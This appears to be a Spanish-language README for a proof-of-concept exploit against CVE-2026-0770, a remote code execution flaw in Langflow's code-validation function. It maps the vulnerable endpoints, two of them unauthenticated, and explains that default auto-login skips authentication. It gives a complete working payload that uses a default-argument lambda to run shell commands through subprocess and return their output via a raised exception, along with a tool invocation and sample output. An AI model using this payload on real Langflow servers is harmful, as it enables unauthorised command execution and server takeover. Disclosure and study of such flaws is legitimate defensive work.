
Prueba de concepto para CVE-2026-0770 - Ejecución remota de código en Langflow
Langflow contiene una vulnerabilidad crítica de ejecución remota de código en la función validate_code() ubicada en src/lfx/src/lfx/custom/validate.py. La función utiliza exec() para ejecutar código Python proporcionado por el usuario sin sandboxing, lo que permite la ejecución arbitraria de comandos en el servidor.
Se han identificado vulnerabilidades similares en funciones y endpoints relacionados:
La función validate_code() analiza el código proporcionado por el usuario y ejecuta definiciones de funciones utilizando exec():
# validate.py:66
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
exec(code_obj, exec_globals) # <-- Ejecución arbitraria de código
El contexto exec_globals incluye acceso a importlib y a los builtins de Python, lo que permite a los atacantes importar módulos peligrosos (os, subprocess, socket) y ejecutar comandos arbitrarios del sistema.
| Endpoint | Autenticación | Vector de Ataque |
|---|---|---|
POST /api/v1/validate/code | Requerida* | Envío directo de código |
POST /api/v1/custom_component | Requerida* | Código en la definición del componente |
POST /api/v1/custom_component/update | Requerida* | Código en la actualización del componente |
POST /api/v1/webhook/{flow_id} | Ninguna | Flujo con componentes de código |
POST /api/v1/build_public_tmp/{flow_id}/flow | Ninguna | Ejecución de flujo público |
* La autenticación se puede omitir cuando AUTO_LOGIN=true (la configuración predeterminada)
Las siguientes funciones en validate.py también utilizan exec() de forma insegura:
| Función | Línea | Descripción |
|---|---|---|
validate_code() | 66 | Valida el código del usuario |
eval_function() | 140 | Evalúa cadenas de funciones |
execute_function() | 182 | Ejecuta funciones arbitrarias |
create_function() | 227 | Crea funciones a partir de código |
create_class() | 241-442 | Crea clases mediante prepare_global_scope() y build_class_constructor() |
La función validate_code() solo ejecuta definiciones de funciones, no llamadas a funciones. Para lograr la ejecución de código con exfiltración de salida, explotamos el orden de evaluación de Python para los argumentos predeterminados.
Idea clave: Las expresiones de argumentos predeterminados se evalúan en el momento de la definición de la función, no cuando se llama a la función.
def foo(x=print("Me ejecuto inmediatamente")):
pass
Sin embargo, necesitamos exfiltrar la salida a través de la respuesta HTTP. El endpoint devuelve errores en el cuerpo de la respuesta, por lo que necesitamos lanzar una excepción que contenga nuestra salida.
Problema: raise es una declaración, no una expresión, por lo que no se puede usar directamente en un argumento predeterminado.
Solución: Usar el método .throw() de un generador, que lanza una excepción y SÍ es una expresión:
(_ for _ in ()).throw(Exception("salida aquí"))
Esto crea un generador vacío e inmediatamente lanza una excepción. Combinado con una lambda para capturar la salida del comando:
def exploit(
_=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
__import__('subprocess').run("id", shell=True, capture_output=True, text=True)
)
):
pass
Flujo de ejecución:
exec() ejecuta la definición de la función_=... se evalúa inmediatamentesubprocess.run() ejecuta el comando.throw() del generadorvalidate_code() la captura y devuelve el error en la respuestapython poc.py --target http://localhost:7860 -c "id && whoami && hostname"
| Flag | Descripción |
|---|---|
-t, --target | URL del objetivo (requerida) |
-c, --command | Comando a ejecutar (predeterminado: id && whoami) |
-k, --token | Token JWT (opcional, usa auto-login por defecto) |
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567
src/lfx/src/lfx/custom/validate.py